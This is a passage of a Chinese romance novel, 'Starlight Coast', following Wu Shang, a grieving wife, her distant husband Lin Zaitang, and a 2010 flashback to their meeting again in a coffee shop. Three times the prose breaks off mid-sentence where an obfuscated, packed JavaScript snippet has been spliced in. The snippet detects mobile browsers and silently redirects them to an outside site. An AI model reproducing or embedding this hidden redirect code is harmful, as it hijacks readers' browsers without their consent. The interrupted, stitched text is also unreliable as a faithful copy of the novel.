《星光海岸》 1. 楔子 在孤独的沿海公路上 海水冲刷着信仰 —2018年.12月《吴裳随记》 吴裳又做了那个梦。 无边无际的海面上,繁星坠入其中。海浪拍打着她的脚面和小腿,寒意缓缓升起,一直蔓延到四肢。她只顾抬头寻找月亮,天空却突然空无一物,变成无边无际的黑幕,压在了她的头顶。当她反应过来的时候,她的身体已经变成冰凉的雕塑,任她如何挣扎,都无法动了。 她惊悸地从梦中醒来,猛烈吸了口气,有了死而复生之感。愣了片刻才想起厨房的砂锅里还炖着一只鸡。林在堂清早出门前念了一句:这个鬼天气,如果能有一碗鸡汤面就好了。本是说者无意,吴裳却在他出门后开车去了乡下,抓了一只鸡回来,准备晚上就让他吃到那碗他随意提起的鸡汤面。 吴裳的鸡汤面清淡营养。 清理好的鸡块放进砂锅里小火煮几个小时,待汤完全入了味,再捞出鸡块来,将面放进去。煮熟了捞出,最后烫两片青菜。小火慢炖的鸡汤,清淡的“鸡块浇头”,淋两滴香油,再淋半勺醋,就是林在堂的心头好。 电话响的时候,吴裳正在向鸡汤里撒盐,少量的盐。蒸汽打湿她衣袖上套着的丧袖套上,她的目光在上面停留了片刻,方才接起电话。电话是林在堂打来的,他要吴裳晚上跟他一起回父母那里吃饭,并叮嘱吴裳将储藏间里的典藏茶礼带上。他的姑姑和姑父从国外回来了。 “要么你先回家吃碗面呢?”吴裳说:“我给你做了鸡汤面。”她知道林在堂跟她一样不喜欢家里的聚会,因为总是没完没了地奉承,长幼有序数不完的规矩,毕恭毕敬地应答和微笑,还有华而不实的精致的菜肴。每次聚会回来,林在堂总要重新吃一点东西,不然他会觉得自己的灵魂随着那一杯又一杯的热茶被灌进了他的肠胃,满则满矣,但一泡尿下去就消失了。 电话那边的林在堂好像有点忙,吴裳听到他的衣袖在桌面摩擦出来的轻微声响,应该是在测试新品的使用。过了几秒他才回:“不了,直接去吧,到家再说。另外…”林在堂又被什么打断,吴裳耐心等着,终于听到他说:“你快要排卵期了是吗?” “是。” “那我知道了。” 林在堂挂断电话,留吴裳一个人发呆。结婚五年,他从没关心过这个问题。或许是他家里人又开始催,让林在堂心生了动摇,这令吴裳心烦意乱。 去林在堂父母那里吃饭是个大工程,吴裳画了个淡妆,穿一件珍珠扣子的衬衫。又将丧套套在手臂上,外面罩一件遮臀的对襟小袄。林在堂的家人始终很传统,偏爱她这样打扮。婆婆阮春桂也因此夸过她两句,说她这般模样坐在小桥流水的庭院里泡茶,也真是应了良辰美景。吴裳听进去了,自此备了好些这样的衣服,尽显“百年林府”的底蕴。 好友宋景给她发来消息,语气十分夸张:“他们说的是真的?林在堂?出轨了?” “没有。”吴裳回:“见面说。”林在堂出轨与否吴裳不太关心,眼下她只关心自己的睡眠。时常将睡将醒,快要了她的命。 灶台关了火,凉置下来的鸡汤上面飘着小小一层油花。吴裳看着那油花半晌,下了某种决心似的,终于又开了火,再脱掉对襟小袄丢到厨房外面,从冰箱里拿出细细的素面来。这是从前外婆做的,银丝一样,烫三十秒即熟。她夹了一筷头放到滚烫着热气的砂锅里,再迅速捞出来,用小碗接着,直接送到嘴里。就这样一口一口,自己吃饱了,也不枉她折腾这多半天。 出门的时候时间尚早,外面雾蒙蒙、湿漉漉的,好像要下雪。海洲不常下雪的。几年赶那么一场,寥寥几片雪飘下来,不等落到地上就化了。只有海边的岩石交缝里能剩一些。这地方一切的景致、人,都像这雪一样,是敛着的。 吴裳看了看天气,决定先回趟千溪乡下家里。 车驶上沿海公路,沿着山脚转弯,路面湿了一大片。而不远处的海水还在没命地向岸边冲。吴裳知道此时这条公路是寂静的,倘若海浪卷走她或者她的车,大概要很久后才能被人发现了。她不知自己为何会有如此臆想,她甚至觉得那样或许也不错。平白消失在人间,留一段谈资供人茶余饭后消遣。转念一想,她留下的谈资已经足够多,不需要这一段了。 再走三十公里,拐进岔道,走一条僻静的乡路,最后进了千溪。千溪的由来带着神话色彩,相传上万年前,这里接连无数条小溪。农人种菱种稻种荷花,日子好不逍遥。吴裳记忆里的千溪哪有这样的光景,觉得村里的老人在骗人。 吴裳的家就在千溪村的尽头,一栋孤独的、陈旧的、干净的小二楼,院子里种满了花。落了叶子的藤蔓爬满了院墙,一只小狗在门口发呆。看到车来了,耳朵先竖起,紧接着站起来。 她停好车,手机亮了一下,看到林在堂的消息。他说:晚上家庭聚会取消了。我回家吃饭。 吴裳松了口气,并没多问,也没有回他消息。她近来对很多事都恹恹的。 小狗见她回家迎上前摇着尾巴,吴裳从包里拿出煮好的一块肉放到它嘴里,又摸了摸它,这才进家门。屋里黑着灯,人不知去了哪里。吴裳走进里面的房间,给黑相框里的人鞠了个躬,又上了炷香。照片里的人生着一副江南的脸孔,仔细看,嘴角还带着微微的笑意。 “今天走到哪啦?”吴裳对着照片说话:“路好不好走呀?外面好像要下雪了,当心些。”她不觉得这样有什么奇怪,话一旦开了头,就堵不住。索性拿过一个蒲团坐上去,又东一句西一句说了一阵。说的都是小事,尽管琐碎,却是一句林在堂没有提。 说够了,就拍拍屁股站起来。想着打个电话问家里人去了哪里,但那头响着忙音,不知在忙什么。 林家的家庭聚会取消了,她可以在家里多呆一会儿。上了二楼,去到自己的房间里。那房间多少年没有变过模样,就连她当年用过的那支油尽了的签字笔还插在笔筒里。 她将电暖器打开,和衣躺在被子上。原本只是想闭眼睛打个盹儿,却不知不觉睡着了。静音的手机亮了几次,乖巧的小狗叫了几声,她都没听见。等她睁眼时,已经是傍晚了。 外面下起了雪。 窗子的木格上积了薄薄细细一条白,向外看,院子里的黄绿叶子都垂下去,卷曲的叶尖儿叶挂着一点白。想到回去的沿海公路路面湿滑可能不好开,顿时无心赏景,只在楼下木桌上留下一张字条,便匆匆向外走。 留字条也是多年的习惯,在那个电流声极大的冰箱旁边放着一个四方木盒子,盒子盖一抽,就是多少年来家里人留的便条。在这个家里,人人都不舍得丢东西,就连这样的小零碎也会被整齐收起来。 小狗跟在她身后,她开车门的时候它又摇尾巴。说是小狗,其实早已垂垂老矣,多少年了体型长不大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483260|170051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但性情温和。像极了吴裳家里的每一个人。 “我过两天还回来呢。”她说,蹲下身去摸摸它。 小狗一直站在那目送她。林在堂都没这样目送过她。吴裳突然这样想。林在堂还不如狗。 狗都不如的林在堂难得回家早,进院门看到院子里的灯带亮着,而那栋小楼漆黑着。小雪还在下,地上铺了薄薄一层。海洲难得下雪,下雪了也难得积雪,积雪了也不会过夜。只是这样的光景实在阴冷,林在堂不喜欢。 吴裳不在,家里更显冷清。他坐在茶桌前泡茶,看了眼手机:吴裳不接电话,也不回消息。这样的事情也很罕见,林在堂认为她或许是遇到了什么麻烦。所以当吴裳平静地推开家门的时候,他的焦急还没有完全退却。 可惜的是他不会发火,只兀自生着闷气,跟面前的茶碗较劲,来来回回洗了四五次茶。 吴裳就站那看他。 灯下的林在堂有一种说不出的美感。不同于多数海洲的男人,他的面皮透亮,唇红齿白。脸上架着一副金丝框的眼镜,并不尽然像个商人,相貌过于儒气了。但看人的时候冷清清的,时常带着审视。 譬如此刻。他又抬起头看她,似乎是想问吴裳去了哪里,或许又觉得这等小事实在不值得他开口,所以就用沉默来替代不满。 林在堂从前也不是这样的人,大概是生意做久了,就觉得人心都很差。连带着对枕边人也冷淡起来。 吴裳和和气气一个人,总是带着笑模样。起初也是因为那一身暖洋洋的感觉才入了林在堂的眼。现在她偏不说话,脱掉那一件禁锢她的斜襟盘扣小袄搭在林在堂茶桌前面那把木椅上。又在林在堂的注视下缓缓脱掉腿上那一条透肤丝袜。 瞬间舒服了,轻轻舒口气,捏起林在堂的小茶杯喝茶,膝盖碰碰他的,而后在他腿上挤了个位置,侧坐上去,面对着那面巨大的落地窗。头靠在他肩膀,蹭了蹭。这是夫妻几年练就的默契,代表她低头哄他,他如若接受,就给她些反馈。类似于这会儿,他将吴裳的手机精准丢到沙发上,说:“要是不接电话,不如扔了算了。” 他消气了。他从不跟吴裳生大气,或许是因为不值得。夫妻两个没真正红过脸,大多是这样,持续不了几分钟就都各自消解了。 “下雪了。”她轻声说:“海州的雪,罕见的雪。刚落在我脖子里,丝丝地凉。”说完扯着林在堂的手贴在她脖颈上,而她又向他怀里靠一些,希望林在堂能抱抱她。 他却有了异动,呼吸乱了一下,手臂收紧,腾出一只手去解她的珍珠扣子。珍珠被她的体温焐得温热,他手指灵活,一挑就是一颗。她却将他按回去:“不行。人走还不到30天。做这种事背时运的。” 这是吴裳亲人去世的当天,婆婆阮春桂特意叮嘱林在堂的。好巧不巧落进了吴裳耳中。她知道林家经商礼佛,偏信一些东西。但那一天她悲痛欲绝,脸上横流的泪水还没干,阮春桂想的却是这个。 “我给你炖了鸡汤。”吴裳的脸贴着林在堂脸颊蹭了蹭:“你早上说要吃鸡汤面的。” “我随口一说。” “我可不是随意一听。” 外面的雪在蔌蔌地下,砂锅里的鸡汤还冒着热气。玻璃上冷热交替凝结的水珠儿滚落下来,外面那棵桂树像要哭了似的,偶尔落下一个小雪块儿。 海州多少年没这样下过雪了? 八年。 2. 小轩窗,半面妆 微风吹着半面窗 秋桂落了,小雪转微雨 外婆的面很香 -2010年12月《吴裳的秘密记事本》 “裳裳囡囡!起来了!”外婆叶曼文的木铲子敲在门上:“外面下雪了!” “下雪了?”吴裳从床上弹下去跑到窗前,拉开厚布帘,看到外面的雪洋洋洒洒。邻家的孩童都跑了出来,在雪地里踩脚印。也有个小傻子捧起雪放进嘴里舔一口,皱着眉呸一声吐掉:“不甜!” 海州多少年不下雪,下雪也不曾下过这样的大雪。吴裳想起下雪了公交车不好走,尖叫一声抓起毛衣套在头上向楼下冲。 “慢些呦!”外婆话音刚落,她已经摔在家门口。好奇看雪的小狗被她吓一跳,冲她叫了声。吴裳顾不得那许多,起身拍拍屁股,又跑了。 因为下雪,村口的公交迟迟不来。湿冷的空气一点一点渗透进她的棉服里,她将手插进口袋,跺着脚等车。电话响了,她的按键不灵光,按了几次才接起来。是母亲阮香玉打来,要她明儿一早帮忙买些青菜送到铺子去。 阮香玉在海州的一条老街里开了家小吃店,卖着海州人爱吃的面和小食。平日里都是外婆叶曼文与她一起做这个小营生,但近日外婆腰扭了,就回村里养着。 吴裳笑着应承阮香玉,眼睛瞟到前面缓慢行驶的商务轿车上。车上的人可能想看雪,将车窗摇下来。男男女女向外看。 “厂房在前面吧?这村子路不好走,还要修路,又是一笔钱。”一个男戴着独耳钉的男人说。 “这边地价低,面积大,适合新厂房。爷爷已经定了。”另一个男人说。 吴裳看不到另一个男人的长相,只是他副驾上的卷发女子身体后倚的时候,闪出一个侧脸。好像在哪见过似的。吴裳看到一副金丝眼镜,还有握着方向盘的手臂衣袖上那颗太阳花袖扣。 那袖扣让吴裳想起外婆在屋后种着的几株向日葵,葵花开的时候金黄,整个海州怕是都找不到那样好看的葵花。 他们说的事吴裳略有耳闻,邻村把地“卖”了地给商人,说未来还会有村子陆续卖掉,海州的商人们要在这里建许多工厂。这是一件大事,大家欢天喜地,等着卖一个好价钱。但这样的好事落不到吴裳家人头上,城市规划图上,吴裳自小长大的千溪因为临海最近被保留下来。 那车上的男女仍在叨念建厂的事,戴独耳钉的男生问:“林总,你家真不能把那块地给我们吗?” 吴裳脖子伸长,想听听那位“林总”怎么说,雪花因此落到脖子上,凉丝丝的。姗姗来迟的公车匍匐着来了,“林总”的答案吴裳听不到了。她上了公交。 下了雪,沿海公路不好走,公车上的人都要去海州谋办杂事,根本无心赏雪,却还是被困在了沿海公路上。蜿蜒的沿海公路,一边是山,一边是海,坑洼的路有时顺着海,有时沿着山。吴裳头贴在玻璃上,耳机里放着相声,她听着咯咯笑。 咖啡店老板许姐姐打电话给她问她怎么还没到,她嘤一声假装哭了:“恨不得插上翅膀呀,但飞不过下雪的沿海公路。” 许姐姐被她逗笑了,说:“那就别急了,你上晚班吧。” “好啊好啊。” 吴裳笑着挂断电话,又将手抄进衣兜里,看着海边岩石上的雪,一眨眼就被海水带走了。海水能带走一切东西。这是外婆叶文曼的口头禅。从吴裳记事起,她就扯着吴裳的手说:离那倒霉的海水远点诶!海水能带走一切东西! 等吴裳到了咖啡店外面,看到这一天的生意真是好。年轻人都聚在这条街上相聚看雪,蜂拥在咖啡馆里喝咖啡。 她推门进去,门边的铃铛清脆作响,里头的人闻声看她,许姐姐就说:“看,我们的百灵鸟飞来了!” 许姐姐是地道海州人,在外面混过一些年,如今回海州混日子,但讲话仍旧地道的海州普通话,听着即泼辣又软绵,这在当地很常见的。吴裳讲话却不像海州人,她不泼辣,总是笑眯眯的,让人总想捏一把。 吴裳一边摘围巾一边跺脚:“好大的雪好大的雪!” “要停了。说半夜就要停的。”有个喝咖啡的小姑娘说。 “那咱们今天营业到半夜,好不好?”许姐姐问吴裳。 吴裳鸡啄米似地点头:“好呀好呀,我磨咖啡磨到半夜。我还可以烤面包。” 她走到后面换上工作服出来,是一件小碎花格子衬衫,配一条天青色的围裙,头上系着一块儿头巾。喜庆又清爽,让人忍不住想跟她亲近。 “裳裳,那个小伙子问你有没有男朋友。”许姐姐手一指,小伙子随之脸红,众人就笑了。 “有呀。”吴裳说:“我有好多男朋友。”吴裳伸开手臂比划:我有那么多那么多男朋友,一个怀抱抱不下。 又有人推门进来,吴裳喊一句“欢迎光临”,又回复许姐姐的问话:“喜欢什么样的呀?当然是要很有钱。”说完用衣袖捂在嘴上,兀自笑了声。别人见状也随着她笑。 吴裳再一次见林在堂,就是在这一天、这一刻。 暖烘烘的咖啡馆里尽是笑声,林在堂撑了一把黑伞,跟在人身后进来,听到磨咖啡的店员说她喜欢有钱的男人。 他的穿着与周围人格格不入,一张年轻的脸却搭配一身老气横秋的羊绒西装,黑色的高领毛衣熨贴修长的脖子,低头从口袋里拿出一方手帕,摘下眼镜来擦镜片上的雾气。 许姐姐用胳膊肘碰了吴裳一下,咬着牙瓮声说:“你要的公子哥儿。” 吴裳眼瞟过去,看到他手上的眼镜,和衣袖上的那枚袖扣,隐约认出了林在堂。就是要在邻村盖工厂的商人。却又不仅于此。 “欢迎光临。”吴裳将身子探出去,笑着招呼林在堂:“请问您想喝点什么?” 面对这个热情的店员,林在堂显然愣了下。他刚回国,并不曾想到如今海州的姑娘已经这样热情了。 “两杯美式,一杯冰、一杯热。” “请您稍等。” 吴裳转身去做咖啡,不死心地回转身子,与林在堂凑近一点,问道:“你不认识我啦?” 林在堂有些错愕,认真打量吴裳一眼,问:“我们见过?” 吴裳见状嘴一努:“逗你的,没见过。” 许姐姐在一边打趣:“吴裳!你又调戏别人!” 电影院的电影要开演了,年轻的姑娘小伙子们彼此招呼着走了出去,就那么一瞬间,咖啡馆就变得安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483261|170051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静。 “感谢这场多年不见的大雪。” 研磨的声音很大,吴裳没完全听清许姐姐的话,只听到感谢大雪。热情回应许姐姐:“是的呀!感谢大雪!” 这个天气他们并没备许多冰块,她抱歉地对林在堂说可能要再等等,他点头:没关系。他坐在高脚凳上安静等着,没有看手机,也没有翻面前的杂志,专注看她做咖啡。吴裳一边做咖啡一边想:难道我认错人了?冰块掉落两块到操作台上,发出清脆响动。林在堂以为她着急,安慰她:“不着急,慢慢来。” “哦,好。” 林在堂走的时候,吴裳目送他,见他一手撑伞,一手拎着咖啡袋子,走向路边的那辆价值不菲的车。副驾的车窗摇下,一个罕见漂亮的女生伸出手来接他递过的咖啡,他顺手捏了捏她的脸。 雪已转小,外面的一切都湿漉漉的,许姐姐啧啧一声:“一对璧人。” 吴裳想跟朋友宋景分享见闻,一时之间也想不出合适的词句,就借用许姐姐的话对她说:“今天看到一对璧人。” 午夜场电影散场,咖啡馆终于关门。吴裳很饿,决定去阮香玉那里吃碗面。小食店离这里并不远,走过两个路口,就离开海州的繁华之地,拐进一条巷子,一直向里走,能看到一个破旧的木牌匾,上面歪歪扭扭写着“香玉面馆”四字。牌匾比吴裳的年龄还要大,久经风吹日晒,已是斑驳。牌匾下面亮着一盏小灯,在细雨里如萤火虫一般。 吴裳蹑手蹑脚进去,里面黑漆漆一片。 “下班了?”阮香玉拧亮手电坐起身来,照着吴裳。 吴裳立刻捂住眼睛,娇声道:“阮香玉!我要瞎了!”摸索着去开了灯。 阮香玉把桌椅推到一边,在中间的地上摆了一张行军床。吴裳见怪不怪,一屁股载倒在小床上,撒娇道:“妈妈,我好累,好饿,我想吃姜汤面、还想吃乌饭麻糍。” “你倒是会挑!”阮香玉点她额头一把,去厨房为她做。很快就升腾起热气,将她整个人温吞吞困在里面,这令她轻轻叹息一声。 吴裳头伸进来,关切地问:“医院怎么说?” “你外婆就是糖尿病。” “那你为什么叹气?” “我叹你大半夜要吃东西,一张脸都吃圆了!” 吴裳闻言就扯着嘴巴嘻嘻地笑,在玻璃影里将头摆来摆去看自己。一张圆圆的饱满的脸庞,是宋景口中的“面如满月”,也是外婆口中的富贵相。 哪里就富贵了呢?吴裳经手的钞票,最多的时候就是许姐姐给她发工资的时候,足有两千二百元之巨。 如愿吃到了姜汤面和乌饭糍粑的她整个人都软下来,期间与阮香玉闲聊,问她:“你猜我今天看到谁啦?” “谁啊?” “就是我大一那年夏天,有个人租了村头肖奶奶那间屋半个月…” 阮香玉茫然地摇头,死活想不起吴裳说的是什么。吴裳呢,就咬着筷子拼命想,怎么回事?怎么没人记得了呢? 走的时候将脸贴在玻璃窗上向里看,朦胧不清的光线里,姆妈缩在小小的行军床上,电热器都没舍得点。 细雨落在吴裳的头发上,她琢磨着明天还是要去买张彩票。 3. 小轩窗,半面妆 吴裳刮彩票的时候,宋景在一边看热闹。她戴着一副黑框眼镜,看人的时候总是要将镜框移到鼻梁上,下巴收回去,目光将人盯死。 宋景的工作是照顾爷爷奶奶,她父母按月给她发工资,每个月八千。这工钱她领的心安理得,总是对吴裳说:多亏了我,不然找保姆或者护工,老两口挨打都说不清楚! 吴裳刮出了15块钱,又买了五注彩票。宋景说刮出奖是好彩头,必须要将15块钱花掉,于是买了两根冰棍,坐在吴裳咖啡馆外面的长凳上吃。 下雪的痕迹消失了,海州又变回那个海州。高楼大厦让海风掉头,此刻这里风平浪静。 “也不知道为什么海州人都要那么早结婚?”宋景抱怨:“早生孩子早出海打渔吗?”她的黑框眼镜蒙了一层薄灰,吴裳拿下来,用衣角帮她擦。这时想起昨天林在堂从口袋里拿出一块那么好看的手帕。吴裳想问问宋景是否还记得当年她跟她说过村头曾住过的那个年轻人。想想又作罢,因为当年对此着墨不多,宋景大概率也不会记得了。 “我给你买一块眼镜布吧。”吴裳说:“你看你的镜片都要花了。” “你留着钱吧。”冰棍儿凉得宋景龇牙咧嘴:“累死累活干兼职,一个月两千二。正经工作又老能碰到大坏蛋。我爸妈说你走背时,让你去庙里拜拜。” “我这背时是不是来得早了点?”吴裳问。阮香玉说人这一生三十年河东三十年河西,太阳不会永远照着谁,谁的上空也不会永远下雨。就连多年不见雪花的海州都能下大雪。这一生还有什么事是遇不到的呢? 她的头脑很简单,日子虽然清贫,但她也懂苦中作乐。只是大多数时候都在想,我是不是太差劲了呢? “别管了。改天我陪你烧香去。”宋景说。 “碰到吴老师又该批评咱俩了。”吴裳嘟囔着,一本正经学吴老师的口吻:“自己不努力,光知道给佛祖添麻烦。”高中老师退休后在山上做义工,每天跟着做功课,日子倒也惬意。偶有一次,撞见了吴裳和宋景,那时她们读大二,各自背着一个双肩包,虔诚地给佛祖磕头,口中振振有词。宋景求的是家里老人活到她退休年纪,吴裳求的是中五百万彩票。吴老师被她们气笑了,找个僻静的林子好生训了她们一顿。 可吴裳脑子里只有钱。 在她还咿呀学语的时候,阮香玉就一直念叨要开个小作坊。好不容易借够了钱,外公病了;再后来开面馆,攒下些钱,说想学温州人做纽扣,机器都看好了,爸爸去世了。吴裳就想:这钱呀,长腿就跑。等我有了钱,我要把钱拴在裤腰上,每晚睡前数一数。 我想让钱生钱。人类的痛苦,绝大部分源自于贫穷。“金钱”于她而言,比任何东西都要有吸引力。她生就一张人畜无害的脸,笑起来一双眼水汪汪的,整个人都透着光。性格也好,人也善良,却注定要“过钱关”。 “过嘛过嘛。不偷不抢。有钱了给阮香玉女士开个小作坊,让她远离那口每天冒热气的大锅。”吴裳讲话软绵绵的,话中的野心连她自己都没当真。 海州那场大雪很快被人遗忘。 咖啡馆里的生意又是那样半死不活,许姐姐却懂宽慰自己:“没事没事!再过半个月,在外读书的孩子们从北京、上海、广州、深圳、成都回来,自然要喝咖啡的。同学聚会也要选在咱们咖啡馆的。” 吴裳一边投简历一边应和许姐姐:“是呢是呢!许姐姐赚大钱的日子就要到了!”说着话,咖啡店门口的铃铛又响起来,这次不知又飞进哪路神仙?吴裳立即含笑起身:“欢迎光临。” 这是林在堂第二次踏进这家咖啡店。 他喜欢咖啡店门口的欢迎铃声,叮叮当当,还有店内的陈列,以及店员发自内心的热忱。 许姐姐认出林在堂,脚尖在下面踢了下吴裳。没别的意思,单纯喜欢逗吴裳。小姑娘一被逗,神情就不自然,手在收银台下一个劲儿地摆,就差管她叫祖宗了:饶了我吧,许姐姐,我就是动动嘴。 “您喝点什么?”吴裳问。 “美式咖啡,一冰一热。” “冰…”吴裳心想谁会在海州的冬天一直喝冰咖啡呢? “不够是吧?我可以等会儿。”林在堂说。抬腕看了眼时间,又坐到一边的高脚凳上。 “怎么称呼先生啊?”许姐姐问:“我们打算发展会员制,我对您有印象,不如以后常来喝。” “林在堂。”他竟回答自己的全名,讲话不急不缓,认真看着许姐姐,并给予一个十分熨帖的微笑。吴裳在心里念着:林在堂,林在堂,那时他说他叫木木,不算说谎。就像人画半面妆,半遮半掩。只有一次听到邮差在那喊:林在堂,有你的信! 吴裳都记得的,但林在堂忘个干干净净。吴裳有些替自己不值,恶狠狠用马克笔在杯身写上他的姓氏:木木。写完做贼似地看他,他正耐心等在那,但此刻目光是看向窗外的。在海洲湿冷的冬天里,他的目光像带着热气,透过咖啡店的透明玻璃窗,落到停在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483262|170051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街边的车上。他的“耐心”带有十万分的体面。 在吴裳的世界里,鲜少有林在堂这样看起来“体面”的人。大家都低头忙营生,待抬头时天已经黑了。天亮天黑,转眼间就是一辈子。就像母亲阮香玉一样。谁还有闲情坐在咖啡店的高脚凳上等一杯冰美式呢?她要绕着那口冒着热气的锅,一辈子光阴就随水汽消散了。 所以她在造冰的间隙多看林在堂一眼。他又翻看许姐姐收集来的英文时尚杂志,那一页似乎引起了他的兴趣,他的头微微低下去,给衬衫衣领一个喘气的的空间。衣领很干净。 还有他的手指,那样干净。 是的,吴裳喜欢看别人的手。她自己喜欢烘焙,不允许甲缝里有任何泥污,而林在堂的指甲剪很短,甲面发着健康的温润的光,指腹饱满,关节分明。他有一双好手。那时她就观察过的。 那双漂亮的手接咖啡的动作也很礼貌,轻轻接过袋子,友好一笑。这一笑,令许姐姐十分受用。在他刚走就夸赞:这么有礼貌有修养,我根本没法嫉妒他手腕上那块百万名表。 “什么?”吴裳震惊地睁大眼睛:“什么百万?” “他的表,上百万。”许姐姐一直向外看,这才发现林在堂车里还是上次的姑娘,这一次她观察仔细,林在堂把冰咖啡递给了姑娘。 吴裳还沉浸在上百万表的震惊之中。 阮香玉这二十余年有过三次机会做小作坊,最多一次的启动资金是十万。百万这个数值在吴裳的头脑中十分抽象。她甚至在想:一百万的现金,要塞满一整个旅行箱的。 许姐姐提醒她注意自己的表情,用手指捏住她的嘴巴,打趣她:“小姑娘,当心口水。” 吴裳作势抹口水,抬眼看向窗外。林在堂的车还停在那,在车里面,他在跟女朋友孟若星讲话,说的是孟若星过几天就要启程去欧洲的事。她握着林在堂的手,要他放心。 林在堂怎能不放心呢?他浅薄的感情世界里只有孟若星,从少年情动到如今,已有9年。在他对未来的遥想之中,他们会走到古稀之年,在海边散步、遛狗,到那时他仍会像现在一般爱着孟若星的。 他们的车就停在那里,许姐姐托腮看着,对吴裳说:“那车明明一动不动,我这脑子里怎么就感觉里面天雷地火了呢?” 吴裳也看过去,说:“真可惜,我刚刚没看到那块手表。” 可他当年也戴表,戴的是一块破旧的怀表。吴裳想,那块怀表,他真的一点都宝贝的。 4. 小轩窗,半面妆 那天吴裳问宋景:“你也算大户人家的小姐,你是不是也有一百万的手表?” 宋景笑她疯魔:“在江浙沪一带,我家真的只是…”宋景想说江浙沪一代,“小生意大老板”那真的是不罕见。譬如这个村子都做纽扣,那个村子都做袜子,小富即安以上,大富大贵之下。宋景觉得自己家里即是如此,一百万的手表,她父母可舍不得。 吴裳就笑了。她正在研究手里的蛋糕胚,想在外婆生日的时候亲自做蛋糕给她吃。外婆喜欢吃蛋糕,但她糖尿病,无论什么好吃的蛋糕她都只能吃一小口,从不曾尽兴过。 宋景闻着味很馋,推推眼镜凑过来,鼻子动了动:“是废料吗?” “你尝尝算不算废料。”吴裳切了一小块儿给她,宋景心满意足:“要么我找我爸妈投资你开蛋糕店吧!”她只是玩笑,她那对精打细算的父母,是万万不会把钱花在蛋糕店上的。 海州这里,很多人做灯饰相关起家。宋景父母开了个小工厂,专门生产开关面板。这小工厂不足十个人,一年也能做出上千万的生意。如果命运不对阮香玉进行洗劫,或许现在吴裳跟阮香玉也能做邻居了。 “那个百万公子常去喝咖啡吗?叫什么?海州这么小,你确定你之前没见过他?” “他脸上贴着人民币出门,我就能记住他了。”吴裳想起林在堂完全不记得她,故意把手中东西一摔,泄愤似的。 “那我倒要去看看了。”宋景说。她的厚眼镜并非学习所致,她看闲书,把自己看成了小“四眼儿”。 吴裳真的带她去看。 日子多少有些无聊,难得有这样的消遣,就连许姐姐都跃跃欲试,对宋景说:“只要我给你使眼色,那就是了。但是小姑娘我告诉你,你不要吓跑人家。” 她们并不知那位林在堂是否还会再来,只是多了一件事,倒也很奇妙。每当门铃响起,三人都齐齐望过去,姿态像海边聚集发呆的海鸟,向左看向后看都很整齐。实在好玩。 所幸林在堂来了。 他刚接手公司,忙得不可开交,傍晚时候人有些萎靡,就想着下来走走。海州最繁华的街区,有林家企业冠名的办公楼:星光大厦。他站在那里看着那几个字很久,星字暗了上半头,变成了生光大厦。这“垂垂老矣”的姿态,就像星光灯饰,静待一场回春的变革。 看了片刻,饿了,不知吃什么,就看到了街对面的小咖啡馆。上次进门,他闻到了烤面包的香气。海州的老式蛋糕,奶油甜腻,儿时的林在堂喜欢,但现在已经吃不下了。他回到海州后还没吃过好吃的现烤面包,这样想着就向咖啡店走去。 当他推开门的一瞬间,他看到老板的眼睛挤了下。气氛很怪异,一个陌生的姑娘盯着他的脸,而吴裳则看着他的手腕。 他甚至没有听到她们每次都要喊的那句“欢迎光临”,只有那个老时钟在滴答滴答地响。 他的目光刻意绕过吴裳,看向许姐姐,轻声问:“还能做咖啡吗?” “能,能,当然能。”许姐姐招呼他,又对宋景使了个眼色。宋景的手指捏在一起敲自己的脑门,另一只手指着林在堂,绞尽脑汁去回忆,想跟林在堂相认。 “你…”宋景指指林在堂,又看着吴裳:“你不记得他吗?是学长啊!”宋景记得清楚,她们读初一时候,跟同班的女孩去看学校最好看的男生。高二班的林在堂位列第一,可惜他只短暂地存在于她们的青春期半年,高二下学期,林在堂就去上海读书了。 可宋景记得他。 宋景记得学校里每一个好看的男孩子。 吴裳没有回应宋景,她只是偷瞄林在堂的手表。她好奇一百万的表究竟是什么样子。林在堂意识到了她的好奇,把手表摘下来放到台面上,淡然地说:“这是假的。” 林在堂有一块真的,是祖父送他的礼物,但他舍不得戴,又怕祖父伤心,就买了一块假的。他不是败家子,一定要炫耀家世。他的朋友们从不追究真假,事实上当家底足够厚,假的也会变成真的。 他捕捉到了吴裳的好奇心,也坦诚地告诉她真相,这没什么尴尬的。甚至快速问起别的:“有现烤的面包吗?我想买点。” “还有五分钟。”吴裳答,接着指指那块表,问道:“我能仔细看看吗?” “当然。” 